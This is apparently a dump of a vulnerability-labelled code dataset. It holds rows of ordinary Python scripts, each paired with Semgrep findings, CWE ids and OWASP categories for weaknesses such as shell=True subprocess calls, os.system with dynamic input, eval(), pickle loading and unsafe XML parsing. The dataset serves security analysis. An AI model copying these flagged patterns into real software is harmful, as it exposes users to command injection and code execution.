added
stringdate
2024-11-18 17:59:49
2024-11-19 03:44:43
created
int64
126B
1,694B
id
stringlengths
40
40
int_score
int64
2
5
metadata
dict
score
float64
2.31
5.09
source
stringclasses
1 value
text
stringlengths
257
22.3k
num_lines
int64
16
648
avg_line_length
float64
15
61
max_line_length
int64
31
179
ast_depth
int64
8
40
length
int64
101
3.8k
lang
stringclasses
1 value
sast_semgrep_findings
stringlengths
1.56k
349k
sast_semgrep_findings_count
int64
1
162
sast_semgrep_success
bool
1 class
sast_semgrep_error
stringclasses
1 value
cwe_ids
listlengths
1
162
rule_ids
listlengths
1
162
subcategories
listlengths
1
162
confidences
listlengths
1
162
severities
listlengths
1
162
line_starts
listlengths
1
162
line_ends
listlengths
1
162
column_starts
listlengths
1
162
column_ends
listlengths
1
162
owasp_categories
listlengths
1
162
messages
listlengths
1
162
cvss_scores
listlengths
1
162
likelihoods
listlengths
1
162
impacts
listlengths
1
162
filename
stringlengths
4
105
path
stringlengths
5
372
repo_name
stringlengths
5
115
license
stringclasses
385 values
2024-11-19T03:25:35.081118+00:00
1,560,877,839,000
74c6f66a3646b15dc6e6d03a55d4d100d754179f
3
{ "blob_id": "74c6f66a3646b15dc6e6d03a55d4d100d754179f", "branch_name": "refs/heads/master", "committer_date": 1560877839000, "content_id": "c27c76973276c3569ac78807201c475b46ec9c25", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "b3a4beffb7a5731a45f8882788bcb59d3b717afe", "extension": "p...
2.578125
stackv2
import matplotlib.pyplot as plt from matplotlib.backends.backend_pdf import PdfPages import math import pandas as pd import re debug = 0 data_file_name = input("Enter datafile name:") pdf = PdfPages(data_file_name.rstrip('.csv')+'plots.pdf') mnemonic_file = open('mnemonics.csv', 'r') line = mnemonic_file.readline() ...
102
24.8
79
18
735
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_17a96723dd880a06_0033cfdd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
4
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 75 ]
[ 75 ]
[ 16 ]
[ 25 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
autoplot.py
/misc/autoplot.py
nsternie/engine_controller
BSD-3-Clause
2024-11-19T03:25:35.957754+00:00
1,497,026,654,000
5996f687c4e3acef798ba06b0f449ad2018c372f
3
{ "blob_id": "5996f687c4e3acef798ba06b0f449ad2018c372f", "branch_name": "refs/heads/master", "committer_date": 1497026654000, "content_id": "d5f87b7986635f822fd08be9c46ae3bf862252ea", "detected_licenses": [ "MIT" ], "directory_id": "f2bf7f5f953c9d0c04373302ac4415406858ecf3", "extension": "py", "fi...
2.796875
stackv2
import subprocess import os import sys import time import click import statistics def calculator(test, arg, n_runs, only_result, workpath=os.getcwd()): w = [] for x in range(n_runs): if only_result: process = subprocess.Popen( arg, cwd=workpath, ...
84
28.54
78
15
573
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_c6cf24561592437a_715c5b96", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
5
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 14, 17, 22, 22 ]
[ 19, 17, 22, 22 ]
[ 23, 23, 23, 65 ]
[ 40, 27, 70, 69 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functi...
[ 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "HIGH", "LOW", "HIGH" ]
[ "HIGH", "LOW", "HIGH", "LOW" ]
bench.py
/bench.py
Parth-Vader/scrapy-bench
MIT
2024-11-19T03:25:36.714882+00:00
1,590,487,702,000
90797117ce40d69670c7d5bbba5f6fadb7a074b2
3
{ "blob_id": "90797117ce40d69670c7d5bbba5f6fadb7a074b2", "branch_name": "refs/heads/master", "committer_date": 1590487702000, "content_id": "68038e6304b7bd45f98ec7903dfe89d9beb685c0", "detected_licenses": [ "Apache-2.0" ], "directory_id": "d49c59e2f2ed45efb69dba0f57d0fcbad75a72bb", "extension": "py"...
2.671875
stackv2
import glob import logging import os import time logger = logging.getLogger(__name__) def untar_dataset_files(copy_folder, dataset_name, tarfiles_path, download=True): """ Convention: tar files to untar (and only those tars) should be in args.data_path folder Make sure there are no extra tar files there....
92
35.8
111
13
774
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_f7218b4bbfc47387_d768c215", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
2
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 71, 71 ]
[ 71, 71 ]
[ 5, 42 ]
[ 47, 46 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess'...
[ 7.5, 7.5 ]
[ "LOW", "HIGH" ]
[ "HIGH", "LOW" ]
oss_and_hyperML_manager.py
/external/oss_and_hyperML_manager.py
panchonoy/knapsack_pruning
Apache-2.0
2024-11-19T03:25:38.901702+00:00
1,593,646,111,000
96655e4606dd45c0086fd6b906df4db63979b110
3
{ "blob_id": "96655e4606dd45c0086fd6b906df4db63979b110", "branch_name": "refs/heads/master", "committer_date": 1593646111000, "content_id": "89cf519c3cca6238015fe86cceda6616e5195d49", "detected_licenses": [ "MIT" ], "directory_id": "5e7aa1ee4fe11f7dc3858c84c6bbddf0cdab3d0a", "extension": "py", "fi...
2.578125
stackv2
import torch import torch.nn.functional as F #import torchvision import argparse import cv2 import numpy as np from glob import glob import matplotlib.pyplot as plt import pickle import os import gzip # config class_N = 10 img_height, img_width = 28, 28 channel = 1 # GPU GPU = False device = torch.device("cuda" ...
374
27.33
103
21
2,766
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_edf007e7d68fbf3f_188c2861", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used...
2
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 111, 112 ]
[ 111, 112 ]
[ 13, 13 ]
[ 63, 61 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found dynamic conte...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
vae_latent_change_mnist_pytorch.py
/Scripts_Generative/old/scripts_pytorch/vae_latent_change_mnist_pytorch.py
zhangziyezzy/DeepLearningMugenKnock
MIT
2024-11-19T03:25:40.112545+00:00
1,504,985,698,000
02d220911798a269cfcc22aad4c5fb863f378e9e
2
{ "blob_id": "02d220911798a269cfcc22aad4c5fb863f378e9e", "branch_name": "refs/heads/master", "committer_date": 1504985698000, "content_id": "6e71f136f1c77cff2674c679334c43050ff5d4a5", "detected_licenses": [ "MIT" ], "directory_id": "8ce7c3229399955e5351a5e44993e35171b5d8c8", "extension": "py", "fi...
2.453125
stackv2
# -*- coding: utf-8 -*- import itertools import os import plistlib import unicodedata import sys from xml.etree.ElementTree import Element, SubElement, tostring _MAX_RESULTS_DEFAULT = 9 UNESCAPE_CHARACTERS = u"""\\ ()[]{};`'"$""" preferences = plistlib.readPlist('info.plist') bundleid = preferences['bundleid'] clas...
86
27.2
87
15
562
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_69605d37f6c8c15a_58b38c74", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 8 ]
[ 8 ]
[ 1 ]
[ 64 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
alfred.py
/net.isometry.alfred.terminology/alfred.py
isometry/alfredworkflows
MIT
2024-11-19T03:35:43.142033+00:00
1,624,116,871,000
6f56b915b42c81af8ced7c3f65f5c86c945b154a
2
{ "blob_id": "6f56b915b42c81af8ced7c3f65f5c86c945b154a", "branch_name": "refs/heads/main", "committer_date": 1624116871000, "content_id": "bb48159d6c266b987cdd52d61925bd7d231a0612", "detected_licenses": [ "MIT" ], "directory_id": "cb515b79e4a71a1f68f977d829c29a4e0d713937", "extension": "py", "file...
2.46875
stackv2
#!/usr/bin/python3 REPS = 5 import os, sys import subprocess import time from shutil import copy test = sys.argv[1] binName = sys.argv[2] args = sys.argv[3:] assert os.path.exists(test) assert os.path.isdir(test) assert os.path.exists(binName) root = os.getcwd() label = input('Enter program label: ') with open('r...
47
26.57
88
17
319
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_cd8ea8c0e592b272_920f0ff5", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
3
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 36, 36 ]
[ 39, 37 ]
[ 13, 28 ]
[ 43, 33 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Detected subprocess functio...
[ 7.5, 7.5 ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "MEDIUM" ]
run.py
/benchmarks/run.py
if-pan-zpp/mdk
MIT
2024-11-19T03:35:46.189398+00:00
1,613,681,333,000
9d1443a2effd1a8843ea464e93151bc742beaae8
3
{ "blob_id": "9d1443a2effd1a8843ea464e93151bc742beaae8", "branch_name": "refs/heads/main", "committer_date": 1613681333000, "content_id": "93f04702a918e7e34fcdfea26b3f9b38c34cf028", "detected_licenses": [ "MIT" ], "directory_id": "5347213f1db74f5a860f4f33096f0e465dcdb066", "extension": "py", "file...
3.09375
stackv2
""" Author: Christopher Schicho Project: Conway's Game of Life Version: 0.0 """ # NOTE: this script uses the ffmpeg software for creating the video file. # you can download it from this website: https://ffmpeg.org/ # you can find the rules for this simulation on the following website: # https://en.wikipedia.org/wiki/...
253
35.76
119
23
1,949
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_1a058754baa9eaa5_ab1339be", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
6
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 222, 222 ]
[ 222, 222 ]
[ 9, 47 ]
[ 52, 51 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functio...
[ 7.5, 7.5 ]
[ "LOW", "HIGH" ]
[ "HIGH", "LOW" ]
GameOfLife.py
/GameOfLife.py
c-schicho/GameOfLife
MIT
2024-11-19T03:35:49.071027+00:00
1,679,319,060,000
1d4e8f35381f3d2d6118a4e3c4e9d0d85c5ad039
3
{ "blob_id": "1d4e8f35381f3d2d6118a4e3c4e9d0d85c5ad039", "branch_name": "refs/heads/master", "committer_date": 1679319322000, "content_id": "855eb3988c99ac9ce5faecaa758669521386bb38", "detected_licenses": [ "MIT" ], "directory_id": "de244487a2950022811c7e5743118d2ed5825a6e", "extension": "py", "fi...
3.125
stackv2
import collections import random random.seed(42) import gst import jinja2 # Let match_edge = { # < 0, if starting pos of a match # > 0, if ending pos of a match # = 0, otherwise # } Char = collections.namedtuple("Char", ("char", "match_edge", "match_number")) output_html_path = "index.html" min_match_length = ...
49
34.61
97
13
507
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_2097f2bec470adbe_b23d33e5", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
5
true
[ "CWE-79", "CWE-116", "CWE-79" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "rules.python.jinja2.security.audit.missing-autoescape-disabled", "rules.python.flask.security.xss.audit.direct-use-of-jinja2" ]
[ "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 40, 40, 41 ]
[ 40, 40, 45 ]
[ 12, 12, 8 ]
[ 67, 67, 43 ]
[ "A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "Detected a Jinja2 environment witho...
[ 5, 5, 5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
main.py
/examples/lorem-ipsum/main.py
apluslms/greedy-string-tiling
MIT
2024-11-19T03:35:56.517062+00:00
1,693,515,691,000
20bbefe8b87576062f29a8a1189cfcf5148845f5
3
{ "blob_id": "20bbefe8b87576062f29a8a1189cfcf5148845f5", "branch_name": "refs/heads/master", "committer_date": 1693515691000, "content_id": "f8049224eb6b8da3dc0ed2d12d4bffd12c55f213", "detected_licenses": [ "MIT" ], "directory_id": "86de0c0a7e7123063b3cafce9d8d157b3fbae4f4", "extension": "py", "fi...
2.75
stackv2
#!/usr/bin/python # Py2 and Py3 compatibility from __future__ import print_function from xml.etree import ElementTree as et import os, sys def reportfordir(path, reportfilename): """ Usage: python exemplarlistreport.py directorypath reportfile.txt Output will be appended to existing reportfile.txt ""...
45
39.51
93
20
417
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_56e55865d88b45e4_b4671037", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
2
true
[ "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml-parse" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 6, 20 ]
[ 6, 20 ]
[ 1, 21 ]
[ 40, 33 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The native Python `xml` library is vulnerable to XML Exter...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
exemplarlistreport.py
/bin/exemplarlistreport.py
silnrsi/sldr
MIT
2024-11-19T03:35:58.599129+00:00
1,657,559,458,000
a2f948dc20f4f474adba5c7cfa30660479580bab
3
{ "blob_id": "a2f948dc20f4f474adba5c7cfa30660479580bab", "branch_name": "refs/heads/master", "committer_date": 1657559458000, "content_id": "bd03d956aa8eb503d4a8623195a11030b2aef160", "detected_licenses": [ "BSD-3-Clause", "BSD-2-Clause" ], "directory_id": "441e3f7ca1528aad20d97800b2af7b9715bb6684...
2.765625
stackv2
''' (c) 2018, charlesg@unixrealm.com - Fork from QSTK https://charlesg.github.io/pftk/ (c) 2011, 2012 Georgia Tech Research Corporation This source code is released under the New BSD license. @author: Charles Gagnon @contact: charles@unixrealm.com @summary: Example tutorial code. This turorial requires a LIST of sto...
85
30.68
80
15
735
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_05f4ce13833f8411_51e1b373", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding...
2
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 82 ]
[ 82 ]
[ 5 ]
[ 34 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
tutorial4.py
/Examples/Basic/tutorial4.py
charlesg/pftk
BSD-3-Clause,BSD-2-Clause
2024-11-19T03:36:02.222127+00:00
1,661,845,580,000
9147fd22825e133f68d5407431506dfac4f991f5
2
{ "blob_id": "9147fd22825e133f68d5407431506dfac4f991f5", "branch_name": "refs/heads/master", "committer_date": 1661845580000, "content_id": "4eb1c1cfea74b1ab50de0cc2d53afcec236ec02f", "detected_licenses": [ "Apache-2.0" ], "directory_id": "87417b09226b2aac2bcc8b33d5efaf22c643f2ab", "extension": "py"...
2.46875
stackv2
#!/usr/bin/python3 import os import argparse import tempfile import datetime import subprocess import tarfile import os.path from common.utils import ( exit_if_no_permission, is_cluster_locked, is_ha_enabled, snap_data, ) def get_kine_endpoint(): """ Return the default kine endpoint """ ...
159
30.42
98
19
1,133
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_0b30d56b669940b3_dbfbe92b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
6
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 51 ]
[ 51 ]
[ 15 ]
[ 72 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
dbctl.py
/scripts/wrappers/dbctl.py
IAC-InfrastructureAsCode/microk8s
Apache-2.0
2024-11-19T01:28:34.024096+00:00
1,660,645,162,000
7bd1383a230429f665636a4792172c8aabdd8af0
3
{ "blob_id": "7bd1383a230429f665636a4792172c8aabdd8af0", "branch_name": "refs/heads/master", "committer_date": 1660645162000, "content_id": "7bfd1a1eaa95457d59b5d9c8cb025f7ad1074ac9", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "eef72818143c9ffef4c759a1331e8227c14be792", "extension": "p...
2.90625
stackv2
#!/usr/bin/env python3 -u # -*- coding: utf-8 -*- # copyright: sktime developers, BSD-3-Clause License (see LICENSE file) """Implements functions to be used in evaluating forecasting models.""" __author__ = ["aiwalter", "mloning"] __all__ = ["evaluate"] import time import warnings import numpy as np import pandas as...
254
34.56
97
19
2,059
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_3335a2794088cefd_e05d3984", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous ...
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 168 ]
[ 168 ]
[ 22 ]
[ 46 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
_functions.py
/sktime/forecasting/model_evaluation/_functions.py
jattenberg/sktime
BSD-3-Clause
2024-11-19T01:28:34.932389+00:00
1,621,692,241,000
f02fe70a830da4e6a8b357ab9e4b34a3cffdb909
3
{ "blob_id": "f02fe70a830da4e6a8b357ab9e4b34a3cffdb909", "branch_name": "refs/heads/main", "committer_date": 1621692241000, "content_id": "3e4ccae249a04a7057923dbd88df2d2a463b61f8", "detected_licenses": [ "Apache-2.0" ], "directory_id": "43a38d26c5418666976343cd0f1820a18aca70f4", "extension": "py", ...
2.6875
stackv2
import datetime import os import platform import time import subprocess try: import requests except ImportError: print("!!Required Modules are missing!!\nPlease refer README.md\nor run pip install -r requirements.txt") exit() class SlotChecker: def __init__(self): self.DISTRICT_IDS = [(395, ...
120
42.12
161
23
1,129
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_441e643508be4fad_6618d7c9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
6
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-spawn-process-audit", "rules.python.lang.security.audit.dangerous-spawn-process-audit" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 86, 106 ]
[ 86, 106 ]
[ 21, 21 ]
[ 49, 52 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "Found dynamic content when spawning a process. This is dangerous if external data can reach this functio...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
slot_checker.py
/slot_checker.py
faizulhai24/cowin-vaccine-slot-checker
Apache-2.0
2024-11-19T01:28:34.997641+00:00
1,463,516,046,000
1dfda94db4f0bf043e21f9c7dfae9b643fff4adb
3
{ "blob_id": "1dfda94db4f0bf043e21f9c7dfae9b643fff4adb", "branch_name": "refs/heads/master", "committer_date": 1463516046000, "content_id": "86bb2b1297cb72c4ec8fc410c8782e7c5fa6bbb2", "detected_licenses": [ "Apache-2.0" ], "directory_id": "52e1e236bfffc73fb68f42c6d512c4c456b8da77", "extension": "py"...
2.625
stackv2
# misc.py # import sys import os import errno from subprocess import Popen from subprocess import PIPE import signal import glob import shlex import re ''' Gzip utilities, run gzip in a subprocess ''' def sp_gzip_read(file): p = Popen(shlex.split('gzip --decompress --to-stdout') + [file], stdout=PIPE, ...
183
29.01
124
21
1,551
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_6d3c05a343e002c3_c60a23bd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
2
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 21 ]
[ 25 ]
[ 9 ]
[ 74 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
misc.py
/TnAmplicons/misc.py
msettles/TnAmplicons
Apache-2.0
2024-11-19T01:28:44.367889+00:00
1,552,258,965,000
a4eedf1f5790aa4bd23428540cec36b7e0e2d3f8
2
{ "blob_id": "a4eedf1f5790aa4bd23428540cec36b7e0e2d3f8", "branch_name": "refs/heads/master", "committer_date": 1552258965000, "content_id": "4748233c1f6b5189823bd9350b9c4a0ff10fc07b", "detected_licenses": [ "MIT" ], "directory_id": "905cedb13a1dcfc485c277ede8e0793b132deb6b", "extension": "py", "fi...
2.453125
stackv2
import subprocess from pathlib import Path from general_c_compiler.base import CompilationOptions, AbstractCCompiler, make_executable_path, CompilationError class GCCCompiler(AbstractCCompiler): name: str = 'gcc' def compile_to_executable(self, file: Path, out: Path = None, options: CompilationOptions = Non...
25
38.64
113
15
208
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_5b0fea9003e6c7d3_be0dfb5f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 15 ]
[ 15 ]
[ 18 ]
[ 85 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
gcc.py
/general_c_compiler/gcc.py
renesugar/F
MIT
2024-11-19T01:28:44.815184+00:00
1,465,314,442,000
9861cdd2adafb17b7987b620ba8ae5db26b65829
4
{ "blob_id": "9861cdd2adafb17b7987b620ba8ae5db26b65829", "branch_name": "refs/heads/master", "committer_date": 1465314442000, "content_id": "9329ebba02861cc5814b633ef5f02f3b3233138c", "detected_licenses": [ "MIT" ], "directory_id": "b1930ae7b9f38a385d9db4ca058a5b6d04f938eb", "extension": "py", "fi...
3.75
stackv2
#!/usr/bin/env python3 """ This module introduces some simple file io. It needs the demo.txt file. See the https://docs.python.org/3/tutorial/inputoutput.html documentation for more details (but beware as it mostly focuses on file io WITHOUT a context manager, which is not usually a good idea unless you have to). """...
97
31.6
120
13
801
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_fbee1215cc9e1b1e_08bbfa2e", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
7
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 76, 79 ]
[ 76, 79 ]
[ 5, 11 ]
[ 29, 25 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
fileIO.py
/src/loopsNds/fileIO.py
solter/pyTutorial
MIT
2024-11-19T01:28:48.252152+00:00
1,647,071,693,000
30a577f85ab23d7cf3db4f75aed67ca6a16dc7d1
3
{ "blob_id": "30a577f85ab23d7cf3db4f75aed67ca6a16dc7d1", "branch_name": "refs/heads/main", "committer_date": 1647071693000, "content_id": "1d6236b8a7e8b1b52c03f64bea4bf73afe65f9ec", "detected_licenses": [ "MIT" ], "directory_id": "703560476ea76dd7b16f5c56953114e983e91042", "extension": "py", "file...
2.984375
stackv2
from kool.core.exceptions import UserNotFound, PermissionNotFound from kool.db.models import Model, where, table from kool.contrib.auth.hasher import make_password, check_password from .group import Group from .permission import Permission class User(Model): """Base class for users""" def __init__(self, ...
152
24.64
70
14
808
python
